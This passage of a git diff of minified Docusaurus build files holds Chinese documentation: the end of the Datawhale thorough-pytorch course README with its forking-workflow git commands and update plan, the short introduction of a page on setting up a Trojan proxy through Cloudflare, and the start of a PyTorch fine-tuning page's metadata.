9\u7a0b\u8d21\u732e\u60c5\u51b5\uff08\u5df2\u4e0a\u7ebf\u8bfe\u7a0b\u5185\u5bb9\uff09\uff1a"}),"\n",(0,s.jsx)(e.p,{children:"\u674e\u5609\u9a90\uff1a\u7b2c\u4e09\u7ae0\uff1b\u7b2c\u56db\u7ae0\uff1b\u7b2c\u4e94\u7ae0\uff1b\u7b2c\u516d\u7ae0\uff1b\u7b2c\u4e03\u7ae0\uff1b\u7b2c\u516b\u7ae0\uff1b\u5185\u5bb9\u6574\u5408"}),"\n",(0,s.jsx)(e.p,{children:"\u725b\u5fd7\u5eb7\uff1a\u7b2c\u4e00\u7ae0\uff1b\u7b2c\u4e09\u7ae0\uff1b\u7b2c\u516d\u7ae0\uff1b\u7b2c\u4e03\u7ae0\uff1b\u7b2c\u516b\u7ae0\uff0c\u7b2c\u4e5d\u7ae0\uff0c\u7b2c\u5341\u7ae0\uff1b\u6587\u6863\u90e8\u7f72"}),"\n",(0,s.jsx)(e.p,{children:"\u5218\u6d0b\uff1a\u7b2c\u4e8c\u7ae0\uff1b\u7b2c\u4e09\u7ae0"}),"\n",(0,s.jsx)(e.p,{children:"\u9648\u5b89\u4e1c\uff1a\u7b2c\u4e8c\u7ae0\uff1b\u7b2c\u4e09\u7ae0\uff1b\u7b2c\u4e03\u7ae0"}),"\n",(0,s.jsx)(e.h2,{id:"\u56db-\u8bfe\u7a0b\u7f16\u6392\u4e0e\u914d\u5957\u89c6\u9891",children:"\u56db\u3001 \u8bfe\u7a0b\u7f16\u6392\u4e0e\u914d\u5957\u89c6\u9891"}),"\n",(0,s.jsxs)(e.details,{children:["\n",(0,s.jsxs)(e.p,{children:["\u90e8\u5206\u7ae0\u8282\u76f4\u64ad\u8bb2\u89e3\u8bf7\u89c2\u770bB\u7ad9\u56de\u653e\uff08\u6301\u7eed\u66f4\u65b0\uff09\uff1a",(0,s.jsx)(e.a,{href:"https://www.bilibili.com/video/BV1L44y1472Z",children:"https://www.bilibili.com/video/BV1L44y1472Z"})]}),"\n",(0,s.jsxs)(e.ul,{children:["\n",(0,s.jsxs)(e.li,{children:["\n",(0,s.jsx)(e.p,{children:"\u8bfe\u7a0b\u7f16\u6392\uff1a\n\u6df1\u5165\u6d45\u51faPyTorch\u5206\u4e3a\u4e09\u4e2a\u9636\u6bb5\uff1aPyTorch\u6df1\u5ea6\u5b66\u4e60\u57fa\u7840\u77e5\u8bc6\u3001PyTorch\u8fdb\u9636\u64cd\u4f5c\u3001PyTorch\u6848\u4f8b\u5206\u6790\u3002"}),"\n"]}),"\n",(0,s.jsxs)(e.li,{children:["\n",(0,s.jsx)(e.p,{children:"\u4f7f\u7528\u65b9\u6cd5:"}),"\n",(0,s.jsx)(e.p,{children:"\u6211\u4eec\u7684\u8bfe\u7a0b\u5185\u5bb9\u90fd\u4ee5markdown\u683c\u5f0f\u6216jupyter notebook\u7684\u5f62\u5f0f\u4fdd\u5b58\u5728\u672c\u4ed3\u5e93\u5185\u3002\u9664\u4e86\u591a\u770b\u52a0\u6df1\u8bfe\u7a0b\u5185\u5bb9\u7684\u7406\u89e3\u5916\uff0c\u6700\u91cd\u8981\u7684\u8fd8\u662f\u52a8\u624b\u7ec3\u4e60\u3001\u7ec3\u4e60\u3001\u7ec3\u4e60"}),"\n"]}),"\n",(0,s.jsxs)(e.li,{children:["\n",(0,s.jsx)(e.p,{children:"\u7ec4\u961f\u5b66\u4e60\u5b89\u6392:"}),"\n",(0,s.jsx)(e.p,{children:"\u7b2c\u4e00\u90e8\u5206\uff1a\u7b2c\u4e00\u7ae0\u5230\u7b2c\u56db\u7ae0\uff0c\u5b66\u4e60\u5468\u671f\uff1a10\u5929\uff1b"}),"\n",(0,s.jsx)(e.p,{children:"\u7b2c\u4e8c\u90e8\u5206\uff1a\u7b2c\u4e94\u7ae0\u5230\u7b2c\u516b\u7ae0\uff0c\u5b66\u4e60\u5468\u671f\uff1a11\u5929"}),"\n"]}),"\n"]}),"\n"]}),"\n",(0,s.jsx)(e.h2,{id:"\u4e94\u5173\u4e8e\u8d21\u732e",children:"\u4e94\u3001\u5173\u4e8e\u8d21\u732e"}),"\n",(0,s.jsxs)(e.details,{children:[" \n",(0,s.jsxs)(e.p,{children:["\u672c\u9879\u76ee\u4f7f\u7528",(0,s.jsx)(e.code,{children:"Forking"}),"\u5de5\u4f5c\u6d41\uff0c\u5177\u4f53\u53c2\u8003",(0,s.jsx)(e.a,{href:"https://www.atlassian.com/git/tutorials/comparing-workflows/forking-workflow",children:"atlassian\u6587\u6863"}),"\u5927\u81f4\u6b65\u9aa4\u5982\u4e0b\uff1a"]}),"\n",(0,s.jsxs)(e.ol,{children:["\n",(0,s.jsx)(e.li,{children:"\u5728GitHub\u4e0aFork\u672c\u4ed3\u5e93"}),"\n",(0,s.jsx)(e.li,{children:"Clone Fork\u540e\u7684\u4e2a\u4eba\u4ed3\u5e93"}),"\n",(0,s.jsxs)(e.li,{children:["\u8bbe\u7f6e",(0,s.jsx)(e.code,{children:"upstream"}),"\u4ed3\u5e93\u5730\u5740\uff0c\u5e76\u7981\u7528",(0,s.jsx)(e.code,{children:"push"})]}),"\n",(0,s.jsxs)(e.li,{children:["\u4f7f\u7528\u5206\u652f\u5f00\u53d1\uff0c\u8bfe\u7a0b\u5206\u652f\u540d\u4e3a",(0,s.jsx)(e.code,{children:"lecture{#NO}"}),"\uff0c",(0,s.jsx)(e.code,{children:"#NO"}),"\u4fdd\u6301\u4e24\u4f4d\uff0c\u5982",(0,s.jsx)(e.code,{children:"lecture07"}),"\uff0c\u5bf9\u5e94\u8bfe\u7a0b\u76ee\u5f55"]}),"\n",(0,s.jsx)(e.li,{children:"PR\u4e4b\u524d\u4fdd\u6301\u4e0e\u539f\u59cb\u4ed3\u5e93\u7684\u540c\u6b65\uff0c\u4e4b\u540e\u53d1\u8d77PR\u8bf7\u6c42"}),"\n"]}),"\n",(0,s.jsx)(e.p,{children:"\u547d\u4ee4\u793a\u4f8b\uff1a"}),"\n",(0,s.jsx)(e.pre,{children:(0,s.jsx)(e.code,{className:"language-shell",children:"# fork\n# clone\ngit clone git@github.com:USERNAME/thorough-pytorch.git\n# set upstream\ngit remote add upstream git@github.com:datawhalechina/thorough-pytorch.git\n# disable upstream push\ngit remote set-url --push upstream DISABLE\n# verify\ngit remote -v\n# some sample output:\n# origin\tgit@github.com:NoFish-528/thorough-pytorch.git (fetch)\n# origin\tgit@github.com:NoFish-528/thorough-pytorch.git (push)\n# upstream\tgit@github.com:datawhalechina/thorough-pytorch.git (fetch)\n# upstream\tDISABLE (push)\n# do your work\ngit checkout -b lecture07\n# edit and commit and push your changes\ngit push -u origin lecture07\n# keep your fork up to date\n## fetch upstream main and merge with forked main branch\ngit fetch upstream\ngit checkout main\ngit merge upstream/main\n## rebase brach and force push\ngit checkout lecture07\ngit rebase main\ngit push -f\n"})}),"\n",(0,s.jsx)(e.h3,{id:"commit-message",children:"Commit Message"}),"\n",(0,s.jsxs)(e.p,{children:["\u63d0\u4ea4\u4fe1\u606f\u4f7f\u7528\u5982\u4e0b\u683c\u5f0f\uff1a",(0,s.jsx)(e.code,{children:"<type>: <short summary>"})]}),"\n",(0,s.jsx)(e.pre,{children:(0,s.jsx)(e.code,{children:"<type>: <short summary>\n \u2502 \u2502\n \u2502 \u2514\u2500\u2af8 Summary in present tense. Not capitalized. No period at the end.\n \u2502\n \u2514\u2500\u2af8 Commit Type: [docs #NO]:others\n"})}),"\n",(0,s.jsxs)(e.p,{children:[(0,s.jsx)(e.code,{children:"others"}),"\u5305\u62ec\u975e\u8bfe\u7a0b\u76f8\u5173\u7684\u6539\u52a8\uff0c\u5982\u672c",(0,s.jsx)(e.code,{children:"README.md"}),"\u4e2d\u7684\u53d8\u52a8\uff0c",(0,s.jsx)(e.code,{children:".gitignore"}),"\u7684\u8c03\u6574\u7b49\u3002"]}),"\n"]}),"\n",(0,s.jsx)(e.h2,{id:"\u516d\u66f4\u65b0\u8ba1\u5212",children:"\u516d\u3001\u66f4\u65b0\u8ba1\u5212"}),"\n",(0,s.jsxs)(e.details,{children:["\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n",(0,s.jsxs)(e.table,{children:[(0,s.jsx)(e.thead,{children:(0,s.jsxs)(e.tr,{children:[(0,s.jsx)(e.th,{style:{textAlign:"left"},children:"\u5185\u5bb9"}),(0,s.jsx)(e.th,{style:{textAlign:"left"},children:"\u66f4\u65b0\u65f6\u95f4"}),(0,s.jsx)(e.th,{style:{textAlign:"center"},children:"\u5185\u5bb9"})]})}),(0,s.jsxs)(e.tbody,{children:[(0,s.jsxs)(e.tr,{children:[(0,s.jsx)(e.td,{style:{textAlign:"left"},children:"apex"}),(0,s.jsx)(e.td,{style:{textAlign:"left"}}),(0,s.jsx)(e.td,{style:{textAlign:"center"},children:"apex\u7684\u7b80\u4ecb\u548c\u4f7f\u7528"})]}),(0,s.jsxs)(e.tr,{children:[(0,s.jsx)(e.td,{style:{textAlign:"left"},children:"\u6a21\u578b\u90e8\u7f72"}),(0,s.jsx)(e.td,{style:{textAlign:"left"}}),(0,s.jsx)(e.td,{style:{textAlign:"center"},children:"Flask\u90e8\u7f72PyTorch\u6a21\u578b"})]}),(0,s.jsxs)(e.tr,{children:[(0,s.jsx)(e.td,{style:{textAlign:"left"},children:"TorchScript"}),(0,s.jsx)(e.td,{style:{textAlign:"left"}}),(0,s.jsx)(e.td,{style:{textAlign:"center"},children:"TorchScript"})]}),(0,s.jsxs)(e.tr,{children:[(0,s.jsx)(e.td,{style:{textAlign:"left"},children:"\u5e76\u884c\u8bad\u7ec3"}),(0,s.jsx)(e.td,{style:{textAlign:"left"}}),(0,s.jsx)(e.td,{style:{textAlign:"center"},children:"\u5e76\u884c\u8bad\u7ec3"})]}),(0,s.jsxs)(e.tr,{children:[(0,s.jsx)(e.td,{style:{textAlign:"left"},children:"\u6a21\u578b\u9884\u8bad\u7ec3 - torchhub"}),(0,s.jsx)(e.td,{style:{textAlign:"left"}}),(0,s.jsx)(e.td,{style:{textAlign:"center"},children:"torchhub\u7684\u7b80\u4ecb\u548c\u4f7f\u7528\u65b9\u6cd5"})]}),(0,s.jsxs)(e.tr,{children:[(0,s.jsx)(e.td,{style:{textAlign:"left"},children:"\u76ee\u6807\u68c0\u6d4b - SSD"}),(0,s.jsx)(e.td,{style:{textAlign:"left"}}),(0,s.jsx)(e.td,{style:{textAlign:"center"},children:"SSD\u7684\u7b80\u4ecb\u548c\u5b9e\u73b0"})]}),(0,s.jsxs)(e.tr,{children:[(0,s.jsx)(e.td,{style:{textAlign:"left"},children:"\u76ee\u6807\u68c0\u6d4b - RCNN\u7cfb\u5217"}),(0,s.jsx)(e.td,{style:{textAlign:"left"}}),(0,s.jsx)(e.td,{style:{textAlign:"center"},children:"Fast-RCNN & Mask-RCNN"})]}),(0,s.jsxs)(e.tr,{children:[(0,s.jsx)(e.td,{style:{textAlign:"left"},children:"\u76ee\u6807\u68c0\u6d4b - DETR"}),(0,s.jsx)(e.td,{style:{textAlign:"left"}}),(0,s.jsx)(e.td,{style:{textAlign:"center"},children:"DETR\u7684\u5b9e\u73b0"})]}),(0,s.jsxs)(e.tr,{children:[(0,s.jsx)(e.td,{style:{textAlign:"left"},children:"\u56fe\u50cf\u5206\u7c7b - GoogLeNet"}),(0,s.jsx)(e.td,{style:{textAlign:"left"}}),(0,s.jsx)(e.td,{style:{textAlign:"center"},children:"GoogLeNet\u7684\u4ecb\u7ecd\u4e0e\u5b9e\u73b0"})]}),(0,s.jsxs)(e.tr,{children:[(0,s.jsx)(e.td,{style:{textAlign:"left"},children:"\u56fe\u50cf\u5206\u7c7b - MobileNet\u7cfb\u5217"}),(0,s.jsx)(e.td,{style:{textAlign:"left"}}),(0,s.jsx)(e.td,{style:{textAlign:"center"},children:"MobileNet\u7cfb\u5217\u4ecb\u7ecd\u4e0e\u5b9e\u73b0"})]}),(0,s.jsxs)(e.tr,{children:[(0,s.jsx)(e.td,{style:{textAlign:"left"},children:"\u56fe\u50cf\u5206\u7c7b - GhostNet"}),(0,s.jsx)(e.td,{style:{textAlign:"left"}}),(0,s.jsx)(e.td,{style:{textAlign:"center"},children:"GhostNet\u4ee3\u7801\u8bb2\u89e3"})]}),(0,s.jsxs)(e.tr,{children:[(0,s.jsx)(e.td,{style:{textAlign:"left"},children:"\u751f\u6210\u5f0f\u5bf9\u6297\u7f51\u7edc - \u751f\u6210\u624b\u5199\u6570\u5b57\u5b9e\u6218"}),(0,s.jsx)(e.td,{style:{textAlign:"left"}}),(0,s.jsx)(e.td,{style:{textAlign:"center"},children:"\u751f\u6210\u6570\u5b57\u5e76\u53ef\u89c6\u5316"})]}),(0,s.jsxs)(e.tr,{children:[(0,s.jsx)(e.td,{style:{textAlign:"left"},children:"\u751f\u6210\u5f0f\u5bf9\u6297\u7f51\u7edc - DCGAN"}),(0,s.jsx)(e.td,{style:{textAlign:"left"}}),(0,s.jsx)(e.td,{style:{textAlign:"center"}})]}),(0,s.jsxs)(e.tr,{children:[(0,s.jsx)(e.td,{style:{textAlign:"left"},children:"\u98ce\u683c\u8fc1\u79fb - StyleGAN"}),(0,s.jsx)(e.td,{style:{textAlign:"left"}}),(0,s.jsx)(e.td,{style:{textAlign:"center"}})]}),(0,s.jsxs)(e.tr,{children:[(0,s.jsx)(e.td,{style:{textAlign:"left"},children:"\u751f\u6210\u7f51\u7edc - VAE"}),(0,s.jsx)(e.td,{style:{textAlign:"left"}}),(0,s.jsx)(e.td,{style:{textAlign:"center"}})]}),(0,s.jsxs)(e.tr,{children:[(0,s.jsx)(e.td,{style:{textAlign:"left"},children:"\u56fe\u50cf\u5206\u5272 Deeplab\u7cfb\u5217"}),(0,s.jsx)(e.td,{style:{textAlign:"left"}}),(0,s.jsx)(e.td,{style:{textAlign:"center"},children:"Deeplab\u7cfb\u5217\u4ee3\u7801\u8bb2\u89e3"})]}),(0,s.jsxs)(e.tr,{children:[(0,s.jsx)(e.td,{style:{textAlign:"left"},children:"\u81ea\u7136\u8bed\u8a00\u5904\u7406 LSTM"}),(0,s.jsx)(e.td,{style:{textAlign:"left"}}),(0,s.jsx)(e.td,{style:{textAlign:"center"},children:"LSTM\u60c5\u611f\u5206\u6790\u5b9e\u6218"})]}),(0,s.jsxs)(e.tr,{children:[(0,s.jsx)(e.td,{style:{textAlign:"left"},children:"\u81ea\u7136\u8bed\u8a00\u5904\u7406 Transformer"}),(0,s.jsx)(e.td,{style:{textAlign:"left"}}),(0,s.jsx)(e.td,{style:{textAlign:"center"}})]}),(0,s.jsxs)(e.tr,{children:[(0,s.jsx)(e.td,{style:{textAlign:"left"},children:"\u81ea\u7136\u8bed\u8a00\u5904\u7406 BERT"}),(0,s.jsx)(e.td,{style:{textAlign:"left"}}),(0,s.jsx)(e.td,{style:{textAlign:"center"}})]}),(0,s.jsxs)(e.tr,{children:[(0,s.jsx)(e.td,{style:{textAlign:"left"},children:"\u89c6\u9891"}),(0,s.jsx)(e.td,{style:{textAlign:"left"}}),(0,s.jsx)(e.td,{style:{textAlign:"center"},children:"\u5f85\u5b9a"})]}),(0,s.jsxs)(e.tr,{children:[(0,s.jsx)(e.td,{style:{textAlign:"left"},children:"\u97f3\u9891"}),(0,s.jsx)(e.td,{style:{textAlign:"left"}}),(0,s.jsx)(e.td,{style:{textAlign:"center"},children:"\u5f85\u5b9a"})]}),(0,s.jsxs)(e.tr,{children:[(0,s.jsx)(e.td,{style:{textAlign:"left"},children:"\u81ea\u5b9a\u4e49CUDA\u6269\u5c55\u548c\u7b97\u5b50"}),(0,s.jsx)(e.td,{style:{textAlign:"left"}}),(0,s.jsx)(e.td,{style:{textAlign:"center"}})]})]})]}),"\n"]}),"\n",(0,s.jsx)(e.h2,{id:"\u4e03\u9e23\u8c22\u4e0e\u53cd\u9988",children:"\u4e03\u3001\u9e23\u8c22\u4e0e\u53cd\u9988"}),"\n",(0,s.jsxs)(e.ul,{children:["\n",(0,s.jsxs)(e.li,{children:["\u975e\u5e38\u611f\u8c22DataWhale\u6210\u5458 \u53f6\u524d\u5764 @",(0,s.jsx)(e.a,{href:"https://github.com/PureBuckwheat",children:"PureBuckwheat"})," \u548c \u80e1\u9510\u950b @",(0,s.jsx)(e.a,{href:"https://github.com/Relph1119",children:"Relph1119"})," \u5bf9\u6587\u6863\u7684\u7ec6\u81f4\u6821\u5bf9\uff01"]}),"\n",(0,s.jsx)(e.li,{children:"\u5982\u679c\u6709\u4efb\u4f55\u60f3\u6cd5\u53ef\u4ee5\u8054\u7cfb\u6211\u4eecDataWhale\u4e5f\u6b22\u8fce\u5927\u5bb6\u591a\u591a\u63d0\u51faissue\u3002"}),"\n",(0,s.jsx)(e.li,{children:"\u7279\u522b\u611f\u8c22\u4ee5\u4e0b\u4e3a\u6559\u7a0b\u505a\u51fa\u8d21\u732e\u7684\u540c\u5b66\uff01\u5e76\u7279\u522b\u611f\u8c22MMYOLO\u7684\u8d21\u732e\u8005\u4eec\uff01"}),"\n"]}),"\n",(0,s.jsxs)(e.a,{href:"https://github.com/datawhalechina/thorough-pytorch/graphs/contributors",children:["\n ",(0,s.jsx)(e.img,{src:"https://contrib.rocks/image?repo=datawhalechina/thorough-pytorch"}),"\n"]}),"\n",(0,s.jsxs)(e.p,{children:["Made with ",(0,s.jsx)(e.a,{href:"https://contrib.rocks",children:"contrib.rocks"}),"."]}),"\n",(0,s.jsx)(e.h2,{id:"\u516b\u5173\u6ce8\u6211\u4eec",children:"\u516b\u3001\u5173\u6ce8\u6211\u4eec"}),"\n",(0,s.jsx)(e.div,{align:"center",children:(0,s.jsx)(e.img,{src:"https://raw.githubusercontent.com/datawhalechina/easy-rl/master/docs/res/qrcode.jpeg",width:"250",height:"270",alt:"Datawhale\u662f\u4e00\u4e2a\u4e13\u6ce8AI\u9886\u57df\u7684\u5f00\u6e90\u7ec4\u7ec7\uff0c\u4ee5\u201cfor the learner\uff0c\u548c\u5b66\u4e60\u8005\u4e00\u8d77\u6210\u957f\u201d\u4e3a\u613f\u666f\uff0c\u6784\u5efa\u5bf9\u5b66\u4e60\u8005\u6700\u6709\u4ef7\u503c\u7684\u5f00\u6e90\u5b66\u4e60\u793e\u533a\u3002\u5173\u6ce8\u6211\u4eec\uff0c\u4e00\u8d77\u5b66\u4e60\u6210\u957f\u3002"})}),"\n",(0,s.jsx)(e.h2,{id:"license",children:"LICENSE"}),"\n",(0,s.jsxs)(e.p,{children:[(0,s.jsx)(e.a,{rel:"license",href:"http://creativecommons.org/licenses/by-nc-sa/4.0/",children:(0,s.jsx)(e.img,{alt:"\u77e5\u8bc6\u5171\u4eab\u8bb8\u53ef\u534f\u8bae",style:{borderWidth:"0"},src:"https://img.shields.io/badge/license-CC%20BY--NC--SA%204.0-lightgrey"})}),(0,s.jsx)(e.br,{}),"\u672c\u4f5c\u54c1\u91c7\u7528",(0,s.jsx)(e.a,{rel:"license",href:"http://creativecommons.org/licenses/by-nc-sa/4.0/",children:"\u77e5\u8bc6\u5171\u4eab\u7f72\u540d-\u975e\u5546\u4e1a\u6027\u4f7f\u7528-\u76f8\u540c\u65b9\u5f0f\u5171\u4eab 4.0 \u56fd\u9645\u8bb8\u53ef\u534f\u8bae"}),"\u8fdb\u884c\u8bb8\u53ef\u3002"]})]})}function j(n={}){const{wrapper:e}={...(0,i.R)(),...n.components};return e?(0,s.jsx)(e,{...n,children:(0,s.jsx)(x,{...n})}):x(n)}}}]); \ No newline at end of file diff --git a/en/assets/js/3784bb17.66ba68b1.js b/en/assets/js/3784bb17.66ba68b1.js new file mode 100644 index 0000000..789d035 --- /dev/null +++ b/en/assets/js/3784bb17.66ba68b1.js @@ -0,0 +1 @@ +"use strict";(globalThis.webpackChunkblog=globalThis.webpackChunkblog||[]).push([[1705],{28453:(e,t,n)=>{n.d(t,{R:()=>o,x:()=>c});var l=n(96540);const r={},s=l.createContext(r);function o(e){const t=l.useContext(s);return l.useMemo(function(){return"function"==typeof e?e(t):{...t,...e}},[t,e])}function c(e){let t;return t=e.disableParentContext?"function"==typeof e.components?e.components(r):e.components||r:o(e.components),l.createElement(s.Provider,{value:t},e.children)}},56861:(e,t,n)=>{n.r(t),n.d(t,{assets:()=>d,contentTitle:()=>c,default:()=>u,frontMatter:()=>o,metadata:()=>l,toc:()=>a});const l=JSON.parse('{"id":"\u4e2a\u4eba\u77e5\u8bc6\u5e93/\u5de5\u5177\u5206\u4eab/\u4ee3\u7406\u7c7b/\u57fa\u4e8ecloudflare\u642d\u5efatrojan\u4ee3\u7406","title":"\u57fa\u4e8ecloudflare\u642d\u5efatrojan\u4ee3\u7406","description":"|\u4f5c\u8005|\u4fee\u8ba2\u65f6\u95f4|","source":"@site/docs/\u4e2a\u4eba\u77e5\u8bc6\u5e93/08.\u5de5\u5177\u5206\u4eab/03.\u4ee3\u7406\u7c7b/05.\u57fa\u4e8ecloudflare\u642d\u5efatrojan\u4ee3\u7406.md","sourceDirName":"\u4e2a\u4eba\u77e5\u8bc6\u5e93/08.\u5de5\u5177\u5206\u4eab/03.\u4ee3\u7406\u7c7b","slug":"/\u4e2a\u4eba\u77e5\u8bc6\u5e93/\u5de5\u5177\u5206\u4eab/\u4ee3\u7406\u7c7b/\u57fa\u4e8ecloudflare\u642d\u5efatrojan\u4ee3\u7406","permalink":"/en/docs/\u4e2a\u4eba\u77e5\u8bc6\u5e93/\u5de5\u5177\u5206\u4eab/\u4ee3\u7406\u7c7b/\u57fa\u4e8ecloudflare\u642d\u5efatrojan\u4ee3\u7406","draft":false,"unlisted":false,"editUrl":"https://github.com/facebook/docusaurus/tree/main/packages/create-docusaurus/templates/shared/docs/\u4e2a\u4eba\u77e5\u8bc6\u5e93/08.\u5de5\u5177\u5206\u4eab/03.\u4ee3\u7406\u7c7b/05.\u57fa\u4e8ecloudflare\u642d\u5efatrojan\u4ee3\u7406.md","tags":[],"version":"current","sidebarPosition":5,"frontMatter":{},"sidebar":"tutorialSidebar","previous":{"title":"\u57fa\u4e8evless\u7684\u79d1\u5b66\u4e0a\u7f51-\u81ea\u52a8\u5316","permalink":"/en/docs/\u4e2a\u4eba\u77e5\u8bc6\u5e93/\u5de5\u5177\u5206\u4eab/\u4ee3\u7406\u7c7b/\u57fa\u4e8evless\u7684\u79d1\u5b66\u4e0a\u7f51-\u81ea\u52a8\u5316"},"next":{"title":"FoFa\u722c\u866b","permalink":"/en/docs/\u4e2a\u4eba\u77e5\u8bc6\u5e93/\u5de5\u5177\u5206\u4eab/FoFa\u722c\u866b/"}}');var r=n(74848),s=n(28453);const o={},c="\u57fa\u4e8ecloudflare\u642d\u5efatrojan\u4ee3\u7406",d={},a=[{value:"\u524d\u6cbf",id:"\u524d\u6cbf",level:2},{value:"\u51c6\u5907",id:"\u51c6\u5907",level:2}];function i(e){const t={blockquote:"blockquote",h1:"h1",h2:"h2",header:"header",img:"img",li:"li",p:"p",table:"table",tbody:"tbody",td:"td",th:"th",thead:"thead",tr:"tr",ul:"ul",...(0,s.R)(),...e.components};return(0,r.jsxs)(r.Fragment,{children:[(0,r.jsxs)(t.table,{children:[(0,r.jsx)(t.thead,{children:(0,r.jsxs)(t.tr,{children:[(0,r.jsx)(t.th,{style:{textAlign:"left"},children:"\u4f5c\u8005"}),(0,r.jsx)(t.th,{style:{textAlign:"left"},children:"\u4fee\u8ba2\u65f6\u95f4"})]})}),(0,r.jsx)(t.tbody,{children:(0,r.jsxs)(t.tr,{children:[(0,r.jsx)(t.td,{style:{textAlign:"left"},children:(0,r.jsx)(t.img,{src:"https://img.shields.io/badge/wjlin0-%E4%B8%AA%E4%BA%BA%E7%9F%A5%E8%AF%86%E5%BA%93-green",alt:"wjlin0"})}),(0,r.jsx)(t.td,{style:{textAlign:"left"},children:"2024-10-21 11:18:21"})]})})]}),"\n",(0,r.jsx)(t.header,{children:(0,r.jsx)(t.h1,{id:"\u57fa\u4e8ecloudflare\u642d\u5efatrojan\u4ee3\u7406",children:"\u57fa\u4e8ecloudflare\u642d\u5efatrojan\u4ee3\u7406"})}),"\n",(0,r.jsxs)(t.blockquote,{children:["\n",(0,r.jsx)(t.p,{children:"\u672c\u6587\u4e3b\u8981\u4ecb\u7ecd\u5982\u4f55\u57fa\u4e8ecloudflare\u642d\u5efatrojan\u4ee3\u7406"}),"\n"]}),"\n",(0,r.jsx)(t.h2,{id:"\u524d\u6cbf",children:"\u524d\u6cbf"}),"\n",(0,r.jsx)(t.p,{children:"\u4e4b\u524d\u518d\u505a\u6e17\u900f\u7684\u65f6\u5019\uff0c\u6709\u8fd9\u4e48\u4e00\u4e2a\u5947\u8469\u7684\u9700\u6c42\uff0c\u5c31\u662f\u51fa\u53e3IP\u8981\u4e3b\u591f\u591a\uff0c\u800c\u4e14\u8981\u80fd\u591f\u77e5\u9053IP\u8303\u56f4."}),"\n",(0,r.jsx)(t.p,{children:"\u867d\u7136\u4e4b\u524d\u53ef\u4ee5\u901a\u8fc7\u4e91\u51fd\u6570\u6765\u5b9e\u73b0\uff0c\u4f46\u662f\u73b0\u5728\u90a3\u4e2a\u4e1c\u897f\u6536\u8d39\u4e86\uff0c\u800c\u4e14\u4e0d\u80fd\u79d1\u5b66\u4e0a\u7f51\uff0c\u6240\u4ee5\u5c31\u60f3\u5230\u4e86cloudflare\uff0ccloudflare\u7684CDN\u8282\u70b9\u904d\u5e03\u5168\u7403\uff0c\u800c\u4e14\u53ef\u4ee5\u901a\u8fc7API\u6765\u83b7\u53d6\u8282\u70b9\u7684IP\u5730\u5740\uff0c\u6240\u4ee5\u5c31\u60f3\u5230\u4e86\u7528cloudflare\u6765\u642d\u5efatrojan\u4ee3\u7406\uff0c\u8fd9\u6837\u5c31\u53ef\u4ee5\u5b9e\u73b0IP\u591a\uff0c\u800c\u4e14\u53ef\u4ee5\u77e5\u9053IP\u8303\u56f4\u7684\u9700\u6c42\u4e86\u3002"}),"\n",(0,r.jsx)(t.h2,{id:"\u51c6\u5907",children:"\u51c6\u5907"}),"\n",(0,r.jsxs)(t.ul,{children:["\n",(0,r.jsxs)(t.li,{children:["\n",(0,r.jsx)(t.p,{children:"\u514d\u8d39\u7533\u8bf7\u7684\u57df\u540d\uff08\u6ca1\u88abGFW\u5899\u4e86\uff09"}),"\n"]}),"\n",(0,r.jsxs)(t.li,{children:["\n",(0,r.jsx)(t.p,{children:"cloudflare\u8d26\u53f7"}),"\n"]}),"\n"]})]})}function u(e={}){const{wrapper:t}={...(0,s.R)(),...e.components};return t?(0,r.jsx)(t,{...e,children:(0,r.jsx)(i,{...e})}):i(e)}}}]); \ No newline at end of file diff --git a/en/assets/js/378b62d2.ee59d2d3.js b/en/assets/js/378b62d2.ee59d2d3.js new file mode 100644 index 0000000..ca79142 --- /dev/null +++ b/en/assets/js/378b62d2.ee59d2d3.js @@ -0,0 +1 @@ +"use strict";(globalThis.webpackChunkblog=globalThis.webpackChunkblog||[]).push([[8709],{27762:(e,n,r)=>{r.r(n),r.d(n,{assets:()=>o,contentTitle:()=>d,default:()=>a,frontMatter:()=>i,metadata:()=>s,toc:()=>c});const s=JSON.parse('{"id":"\u4e2a\u4eba\u77e5\u8bc6\u5e93/AI/PyTorch/\u7b2c\u516d\u7ae0/6.3 \u6a21\u578b\u5fae\u8c03-torchvision","title":"6.3 \u6a21\u578b\u5fae\u8c03-torchvision.md","description":"|\u4f5c\u8005|\u4fee\u8ba2\u65f6\u95f4|","source":"@site/docs/\u4e2a\u4eba\u77e5\u8bc6\u5e93/10.AI/01.PyTorch/06.\u7b2c\u516d\u7ae0/6.3 \u6a21\u578b\u5fae\u8c03-torchvision.md","sourceDirName":"\u4e2a\u4eba\u77e5\u8bc6\u5e93/10.AI/01.PyTorch/06.\u7b2c\u516d\u7ae0","slug":"/\u4e2a\u4eba\u77e5\u8bc6\u5e93/AI/PyTorch/\u7b2c\u516d\u7ae0/6.3 \u6a21\u578b\u5fae\u8c03-torchvision","permalink":"/en/docs/\u4e2a\u4eba\u77e5\u8bc6\u5e93/AI/PyTorch/\u7b2c\u516d\u7ae0/6.3 \u6a21\u578b\u5fae\u8c03-torchvision","draft":false,"unlisted":false,"editUrl":"https://github.com/facebook/docusaurus/tree/main/packages/create-docusaurus/templates/shared/docs/\u4e2a\u4eba\u77e5\u8bc6\u5e93/10.AI/01.PyTorch/06.\u7b2c\u516d\u7ae0/6.3 \u6a21\u578b\u5fae\u8c03-torchvision.md","tags":[],"version":"current","frontMatter":{},"sidebar":"tutorialSidebar","previous":{"title":"6.3 \u6a21\u578b\u5fae\u8c03-timm.md","permalink":"/en/docs/\u4e2a\u4eba\u77e5\u8bc6\u5e93/AI/PyTorch/\u7b2c\u516d\u7ae0/6.3 \u6a21\u578b\u5fae\u8c03-timm"},"next":{"title":"6.4 \u534a\u7cbe\u5ea6\u8bad\u7ec3.md","permalink":"/en/docs/\u4e2a\u4eba\u77e5\u8bc6\u5e93/AI/PyTorch/\u7b2c\u516d\u7ae0/6.4 \u534a\u7cbe\u5ea6\u8bad\u7ec3"}}');var t=r(74848),l=r(28453);const i={},d="6.3 \u6a21\u578b\u5fae\u8c03-torchvision.md",o={},c=[{value:"6.3.1 \u6a21\u578b\u5fae\u8c03\u7684\u6d41\u7a0b",id:"631-\u6a21\u578b\u5fae\u8c03\u7684\u6d41\u7a0b",level:2},{value:"6.3.2 